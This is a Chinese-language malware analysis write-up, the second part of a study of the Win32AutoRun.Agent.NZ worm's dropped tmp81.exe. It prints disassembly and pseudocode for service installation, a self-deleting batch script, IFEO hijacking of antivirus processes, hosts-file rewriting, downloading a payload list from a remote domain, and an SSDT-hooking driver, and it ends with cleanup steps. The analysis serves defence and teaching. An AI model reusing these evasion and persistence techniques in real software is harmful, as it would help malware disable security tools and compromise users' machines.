Win32AutoRun.Agent.NZ 蠕虫感染文件的简单分析和文件修复 (续)
—Tmp81.exe文件的相关分析
今天看到杂志上编辑关于《Win32AutoRun.Agent.NZ 蠕虫感染文件的简单分析和文件修复》一文的评论。感觉那么写确实是肤浅了一些,关键的地方没有进行分析。当时写那篇文章的目的就是文件的修复,所以没有对释放的文件进行进一步的分析。现在我们来分析病毒的全部幕后操作。
简单说下temp81文件的获取,用OD载入上篇文章中的病毒样本“ctc已感染.exe”,并且配置好相关的测试环境。运行FileMon排除掉系统进程以便减少数据量(主要监视“ctc已感染.exe”);同时运行Wireshark,选择相关网络适配器后开始捕获数据。在004D3132 FFD0 call eax 这一行下F2断点,F9运行程序,程序中断后定位到当前用户的temp文件夹下就可以看到释放的程序了,如图01。继续F9运行程序,程序完全运行后注意观察文件监视器(FileMon),发现tmp81.exe请求创建了以下的程序:6to4.dll(如02),lpk.dll(此文件请求失败,最终调用system32下的同名文件,如03),TempDel.Bat(图04)。虽然程序显示创建了TempDel.Bat但是由于最后释放的批处理文件功能是删除自身以及释放的文件,所以程序在运行后是找不到这个文件以及释放的tmp81.exe的。TempDel.Bat的获取在可以OD动态调试tmp81.exe的时候运行tmp81.exe就可以得到批处理文件的内容了,如图05,我们之所以能获取这个批处理文件是由于tmp81.exe正在执行中,所以会删除失败,通过批处理文件的内容可以看到如果删除失败,批处理会不断的尝试再次删除释放的文件直到删除成功,这就是我们为什么可以得到删除自身的批出来文件的原理了。
用Peid0.95载入tmp81.exe,可以看到程序加的壳为:UPX 0.89.6 – 1.02 / 1.05 – 2.90 -> Markus & Laszlo,这个壳较为简单,esp定律可以轻松搞定这里就不说了,不会的可以查看以前的相关文章。程序的关键代码如下所示:
00401114 E8 F0090000 call 00401B09 ; 获取服务名称
00401119 68 10000100 push 10010 ; UNICODE "ALLUSERSPROFILE=C:\Documents and Settings\All Users"
0040111E 8D85 60FFFFFF lea eax, dword ptr [ebp-A0]
00401124 50 push eax
00401125 FF75 F8 push dword ptr [ebp-8]
00401128 FF15 14204000 call dword ptr [< &ADVAPI32.OpenServic>; 打开服务,进行编辑
0040112E 8945 E4 mov dword ptr [ebp-1C], eax
00401131 8D85 58FEFFFF lea eax, dword ptr [ebp-1A8]
00401137 50 push eax
00401138 E8 EC070000 call 00401929 ; 监测服务是否存在,如果存在删除服务然后重新创建,不存在则直接新建服务
(……省略部分代码)
004011B3 FF15 04204000 call dword ptr [< &ADVAPI32.CreateServ>; 创建服务
004011B9 8945 E4 mov dword ptr [ebp-1C], eax
004011BC 837D E4 00 cmp dword ptr [ebp-1C], 0
004011C0 0F84 3E010000 je 00401304
004011C6 68 04010000 push 104
004011CB 8D85 98F7FFFF lea eax, dword ptr [ebp-868]
004011D1 50 push eax
004011D2 FF15 54204000 call dword ptr [< &kernel32.GetSystemD>; 获取系统路径
004011D8 68 04010000 push 104
004011F7 50 push eax
004011F8 68 F8214000 push 004021F8 ; 获取释放的dll名称
(……省略部分代码)
004012DB FF15 00204000 call dword ptr [< &ADVAPI32.StartServi>; 启动服务
004012E1 85C0 test eax, eax
004012E3 75 06 jnz short 004012EB
004012EB FF75 E4 push dword ptr [ebp-1C]
004012EE FF15 30204000 call dword ptr [< &ADVAPI32.CloseServi>; 关闭服务句柄
(……省略部分代码)
004015CA 68 70224000 push 00402270 ; copy /y "%s" "%s"\n\n:runagain\n\ndel "%s"\n\nif exist "%s" goto runagain\n\ndel "%s"\n\nopen 批处理文件的内容
004015CF 8D85 E0F9FFFF lea eax, dword ptr [ebp-620]
004015E8 6A 00 push 0
004015EA 6A 00 push 0
004015EC 68 000000C0 push C0000000
004015F1 8D85 F0FEFFFF lea eax, dword ptr [ebp-110] ; 取临时路径
004015F7 50 push eax
004015F8 FF15 A8204000 call dword ptr [< &kernel32.CreateFile>; 创建自删除批处理
(……省略部分代码)
0040164E 50 push eax ; 将临时路径名压入堆栈
0040164F 68 C0224000 push 004022C0 ; open
00401654 6A 00 push 0 ; ShellExecuteA参数,隐藏执行
00401656 FF15 CC204000 call dword ptr [< &shell32.ShellExecut>; 删除文件
0040165C 6A 00 push 0
0040165E FF15 AC204000 call dword ptr [< &kernel32.ExitProces>; 结束进程
0040198A FF15 A8204000 call dword ptr [< &kernel32.CreateFile>; 创建C:\WINDOWS\system32\dllcache\Irmon.dll 或者C:\WINDOWS\system32\6to4.dll创建服务时如果目标文件不存在则重新生成。否则跳过此过程
00401990 8945 F0 mov dword ptr [ebp-10], eax
004019A7 FF75 F0 push dword ptr [ebp-10]
004019AA FF15 A4204000 call dword ptr [< &kernel32.SetFilePoi>; 写入文件内容,设置指针
004019CC FF75 F0 push dword ptr [ebp-10]
004019CF FF15 7C204000 call dword ptr [< &kernel32.GetFileTim>; 获取文件时间
004019D5 68 1C234000 push 0040231C ; file
004019DA 6A 66 push 66
004019DC 6A 00 push 0
004019DE FF15 78204000 call dword ptr [< &kernel32.FindResour>; 获取文件资源
004019E4 8945 E8 mov dword ptr [ebp-18], eax
004019E7 FF75 E8 push dword ptr [ebp-18]
004019EA 6A 00 push 0
004019EC FF15 38204000 call dword ptr [< &kernel32.LoadResour>; 加载资源
00401A04 6A 00 push 0
00401A06 FF15 4C204000 call dword ptr [< &kernel32.SizeofReso>; 获取资源大小
00401A28 FF75 F0 push dword ptr [ebp-10]
00401A2B FF15 40204000 call dword ptr [< &kernel32.WriteFile>>; 写入文件
00401AF3 FF15 88204000 call dword ptr [< &kernel32.CloseHandl>; 关闭句柄
00401AF9 FF75 C4 push dword ptr [ebp-3C]
00401AFC FF15 A0204000 call dword ptr [< &kernel32.FreeResour>; 释放资源,创建C:\WINDOWS\system32\dllcache\Irmon.dll
由于程序汇编代码较长,故省略部分中间代码仅保留上下文,调试时可以参考相关的注释。程序释放的文件C:\WINDOWS\system32\dllcache\Irmon.dll和C:\WINDOWS\system32\6to4.dll通过系统的FC命令进行相似性分析可以知道两个文件是相同的,没有任何的差异。
所有程序执行完毕后停止wireshark的捕获,分析相关网络数据。可以看到程序在执行完后请求的第一条数据就是www.dy2004.com,如图06。继续查看其它数据可以看到另外的一个域名bnnjjj.3322.org(图07),但是现在这两个域名都已经无法正常访问了。从第一个域名要获取的文件为/msn/mm.txt(图09),这个应该是木马的下载地址列表,已经失效。并且程序在执行后会尝试访问局域网的共享来达到传播的目的,如图10。这些数据同样可以通过对病毒文件的静态分析来获取,通过网络数据可以对程序的网络行为能够有一个整体的了解,这样在静态分析时便有了较强的目标性。
最后我们来对释放的文件进行分析,首先分析6to4.dll。用Peid载入dll后可以看到程序加了ACProtect 1.3x – 1.4x DLL -> Risco Software Inc.的壳,如图11,仔细观察Peid的描述就会发现报的壳竟然不同。这里用插件检测到的是正确的,并非upx的壳。用od载入这个dll。程序中断在如下代码处:
1000DC80 > 807C24 08 01 cmp byte ptr [esp+8], 1
1000DC85 0F85 C2010000 jnz 1000DE4D ; 1000DE4D就是程序的OEP
1000DC8B 60 pushad
1000DC8C BE 00A00010 mov esi, 1000A000
1000DC91 8DBE 0070FFFF lea edi, dword ptr [esi+FFFF7000]
1000DC97 57 push edi
1000DC98 EB 10 jmp short 1000DCAA
注意1000DC85 Jnz 100DE4D 这一行,其中100DE4D就是程序的OEP了,直接Ctrl+G跳转到100DE4D处,选中这一行后F4。中断后单步F8,就到达了程序的真正入口点:
10005D51 55 push ebp
10005D52 8BEC mov ebp, esp
10005D54 53 push ebx
10005D55 8B5D 08 mov ebx, dword ptr [ebp+8]
10005D58 56 push esi
10005D59 8B75 0C mov esi, dword ptr [ebp+C]
10005D5C 57 push edi
10005D5D 8B7D 10 mov edi, dword ptr [ebp+10]
10005D60 85F6 test esi, esi
此时就可以用LordPE脱壳了,需要注意此时选中Loaddll.exe进程在下方选中6to4.dll进行脱壳,如图12。最后来修复输入表,运行ImportREC,附加进程选择loaddll.exe,然后选择Pickdll,图13,选择我们脱壳的6to4.dll进行修复。
用od载入脱壳后的文件,可以发现大量文件名以及相关操作:
10003859 C745 FC B087001>mov dword ptr [ebp-4], 100087B0 ; 360hotfix.exe|360rpt.exe|360safe.exe|360safebox.exe|360tray.exe|agentsvr.exe|apvxdwin.exe|ast.exe|avcenter.exe|avengine.exe|avgnt.exe|avguard.exe|avltmain.exe|avp32.exe|avtask.exe|bdagent.exe|bdwizreg.exe|boxmod.exe|ccapp.exe|ccenter.exe|ccevtmgr.exe|c ..
10003860 8B45 FC mov eax, dword ptr [ebp-4]
10003863 0FBE00 movsx eax, byte ptr [eax]
10003866 85C0 test eax, eax
10003868 74 25 je short 1000388F
程序通过上面的代码来达到IFEO劫持的目的,将所有的杀毒软件以及安全软件重新定位到系统的ntsd调试程序,使所有的杀软以及安全软件失效,来达到不被查杀的目的。
通过下面的代码来重新创建hosts文件防止下载病毒的域名被屏蔽:
10003488 FF15 C0600010 call dword ptr [< &kernel32.CreateFile>; 创建文件hosts
1000348E 8945 D8 mov dword ptr [ebp-28], eax
10003491 C745 DC 2068001>mov dword ptr [ebp-24], 10006820 ; 127.0.0.1 localhost\n\n\dllcache\systembox.baklaninternet
10003498 6A 00 push 0
1000349A 8D45 E4 lea eax, dword ptr [ebp-1C]
1000349D 50 push eax
1000349E FF75 DC push dword ptr [ebp-24]
100034A1 FF15 C8600010 call dword ptr [< &kernel32.lstrlen>] ; kernel32.lstrlenA
然后进行网络通讯,模拟浏览器进行提交数据:
10003FF0 83C4 0C add esp, 0C ; 获取目标路径名以及文件,msn/mm.txt
10003FF3 FF35 14850010 push dword ptr [10008514] ; 获取目标路径名以及文件,msn/mm.txt
10003FF9 FF35 84840010 push dword ptr [10008484] ; 获取url ,www.dy2004.com
10003FFF 68 24690010 push 10006924 ; http://%s%s 后面的代码为wsock通讯代码,想了解的可以自行分析
与加载的驱动进行通讯,结束掉相关进程:
10003ADF FF15 74600010 call dword ptr [< &kernel32.GetWindowsDirecto>; kernel32.GetWindowsDirectoryA
10003AE5 68 88680010 push 10006888 ; \system32\drivers\
10003AEA 8D85 F0FEFFFF lea eax, dword ptr [ebp-110]
10003AF0 50 push eax
10003AF1 FF15 E4600010 call dword ptr [< &kernel32.lstrcat>] ; kernel32.lstrcatA
10003AF7 68 9C680010 push 1000689C ; wmisvc.sys
10003AFC 8D85 F0FEFFFF lea eax, dword ptr [ebp-110]
10003B02 50 push eax
10003B03 FF15 E4600010 call dword ptr [< &kernel32.lstrcat>] ; kernel32.lstrcatA
我们接着上面通信的驱动文件,定位到该驱动文件查看属性如图14所示,通过创建日期可以发现该驱动文件是在运行病毒感染的文件之后创建的。用ida分析该驱动文件,相关主要函数及功能如下:
NTSTATUS __stdcall DefaultDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
signed int IoControlCode; // eax@1
struct _IRP::$::$::$::$A02EC6A2CE86544F716F4825015773AC::_IO_STACK_LOCATION *irpStack; // ecx@1
NTSTATUS status; // edi@1
PIRP irp; // esi@1
unsigned int v6; // ecx@3
struct _IRP *masterIrp; // ST04_4@6
int masIrpTemp; // [sp+Ch] [bp-4h]@6
irp = Irp;
irpStack = Irp->Tail.Overlay.CurrentStackLocation;
IoControlCode = *((_DWORD *)irpStack + 3);
status = 0;
if ( IoControlCode == 0x222008 )
{
if ( !g_DriverFlags )
goto LABEL_12;
masterIrp = Irp->AssociatedIrp.MasterIrp;
masIrpTemp = 0;
Irp = 0;
memcpy(&masIrpTemp, masterIrp, 4u);
PsLookupProcessByProcessId(masIrpTemp, &Irp); //获取进程pid
if ( MinorVersion )
{
sub_40074D(Irp);
}
else
{
if ( dword_4009A4(Irp, 0, 0) < 0 )
status = STATUS_UNSUCCESSFUL;
else
sub_40074D(Irp);
dword_4009A8(Irp);
}
}
else
{
if ( IoControlCode == 0x22214B )
{
v6 = **((_DWORD **)irpStack + 4);
if ( v6 < *((_DWORD *)KeServiceDescriptorTable + 2) )
{
__asm { mov eax, cr0 }
_EAX &= 0xFFFEFFFFu;
__asm { mov cr0, eax }
*(&KeServiceDescriptorTable + v6) = *(void **)Irp->UserBuffer;
__asm { mov eax, cr0 }
_EAX |= 0x10000u;
__asm { mov cr0, eax }
goto LABEL_13;
}
LABEL_12:
status = STATUS_UNSUCCESSFUL;
goto LABEL_13;
}
}
LABEL_13:
irp->IoStatus.Status = status;
irp->IoStatus.Information = 0;
IofCompleteRequest(irp, 0);
return status;
}
由于本人对驱动层不熟悉,以上代码皆由别人分析的(相关分析的代码已经打包到相关目录下,直接用ida打开WmiSvc.idb即可查看相关代码),驱动的主要功能就一个是修改ssdt过主动,另外就是用于结束进程。现在我们回到那个6to4.dll,该dll是以服务启动的,服务名称为6to4,通过与系统自带的6to4服务对比就可以发现不同了,右侧为正常的6to4服务以及相关描述。运行autoruns就可以看到程序6to4和Irmon服务启动的相关文件,如图16,17所示。同样在drivers标签页可以看到添加的系统驱动,如图18,WmiSvc c:\windows\system32\drivers\wmisvc.sys。
至此病毒释放的文件以及执行的操作已经搞清楚了,清除工作也就没那么复杂了。为了能够正常删除文件,可以用pe引导系统,在pe系统下删除相关文件。运行autoruns,在autoruns中删除相关的服务项和驱动项,最后定位到IFEO标签页,将所有的项目删除,如图19。再次说明:相关病毒样本具有危害性,请谨慎测试,相关测试工作最好在虚拟机中进行。文章到此结束,有什么问题欢迎来黑手论坛和我交流。
文章图片链接,打包下载地址:http://d.namipan.com/d/2355c906cbb8b6d84394aaedf57549d406c68795009f0b00